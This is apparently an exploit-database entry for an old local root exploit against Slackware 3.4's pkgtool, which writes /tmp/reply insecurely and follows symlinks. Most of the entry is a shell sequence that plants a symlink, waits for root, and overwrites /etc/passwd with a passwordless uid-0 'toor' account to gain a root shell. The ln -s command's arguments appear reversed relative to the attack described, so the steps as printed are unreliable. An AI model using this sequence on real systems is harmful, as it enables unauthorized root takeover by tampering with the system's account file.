Slackware Linux 3.4 - 'pkgtool' Temporary File

Author: neonhaze
type: local
platform: linux
port: 0
date_added: 1998-04-06
date_updated: 2012-06-11
verified: 1
codes: CVE-1999-1498;OSVDB-13541
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd